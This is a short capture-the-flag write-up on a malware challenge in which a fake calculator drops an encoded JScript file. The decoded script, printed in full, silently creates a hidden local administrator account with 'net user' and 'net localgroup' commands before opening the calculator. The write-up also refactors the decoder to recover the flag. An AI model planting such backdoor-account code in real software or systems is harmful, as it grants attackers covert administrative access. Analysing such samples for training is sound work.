YCTF

Strange Calc by cstef

2024-09-30(1 min. read) - malware

Description

I got this new calculator app from my friend! But it's really weird, for some reason it needs admin permissions to run??


We start off with calc.exe, which seemingly needs adminstrator permissions to run. After launching it with wine a few times, we notice a .jse file being created at each run.

The analysis of this file reveals that it's a JScript Encoded one. Decrypting with CyberChef, we get the following:

function a(b) {
  var c = "",
    d = b.split("\n");
  for (var e = 0; e < d.length; e++) {
    var f = d[e].replace(/^\s+|\s+$/g, "");
    if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "")
      continue;
    var g = (f.charCodeAt(0) - 32) & 63;
    for (var h = 1; h < f.length; h += 4) {
      if (h + 3 >= f.length) break;
      var i = (f.charCodeAt(h) - 32) & 63,
        j = (f.charCodeAt(h + 1) - 32) & 63,
        k = (f.charCodeAt(h + 2) - 32) & 63,
        l = (f.charCodeAt(h + 3) - 32) & 63;
      c += String.fromCharCode((i << 2) | (j >> 4));
      if (h + 2 < f.length - 1)
        c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
      if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << 6) | l);
    }
  }
  return c.substring(0, g);
}
var m =
  "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
var n = a(m);
var o = [
  "net user LocalAdministrator " + n + " /add",
  "net localgroup administrators LocalAdministrator /add",
  "calc.exe",
];
var p = new ActiveXObject("WScript.Shell");
for (var q = 0; q < o.length - 1; q++) {
  p.Run(o[q], 0, false);
}
p.Run(o[2], 1, false);

I first tried logging the a(m) function, but it just didn't want to print anything. I then decided to refactor a bit the script to see what was going on in the decryption function.

function decodeEncodedString(encoded) {
	let decodedString = "";
	const lines = encoded.split("\n");

	for (let line of lines) {
		line = line.trim();
		if (line.startsWith("begin") || line.startsWith("end") || line === "") continue;

		const numCharsToReturn = (line.charCodeAt(0) - 32) & 63;

		for (let i = 1; i < line.length; i += 4) {
			if (i + 3 >= line.length) break;

			const char1 = (line.charCodeAt(i) - 32) & 63;
			const char2 = (line.charCodeAt(i + 1) - 32) & 63;
			const char3 = (line.charCodeAt(i + 2) - 32) & 63;
			const char4 = (line.charCodeAt(i + 3) - 32) & 63;

			decodedString += String.fromCharCode((char1 << 2) | (char2 >> 4));
			if (i + 2 < line.length - 1) {
				decodedString += String.fromCharCode(((char2 & 15) << 4) | (char3 >> 2));
			}
			if (i + 3 < line.length - 1) {
				decodedString += String.fromCharCode(((char3 & 3) << 6) | char4);
			}
		}
		return decodedString.substring(0, numCharsToReturn);
	}
}

const encodedMessage = "begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";
const decodedMessage = decodeEncodedString(encodedMessage);
console.log(decodedMessage);

For some reason, this version ran fine, even though I did not alter the logic of the function, but we'll take that.

flag{9922fb21aaf1757e3fdb28d7890a5d93}

Note

This could also simply have been solved by looking at the Administrator users on the Windows machine, but I did not have a VM at this moment, so I had to go the "hard" way...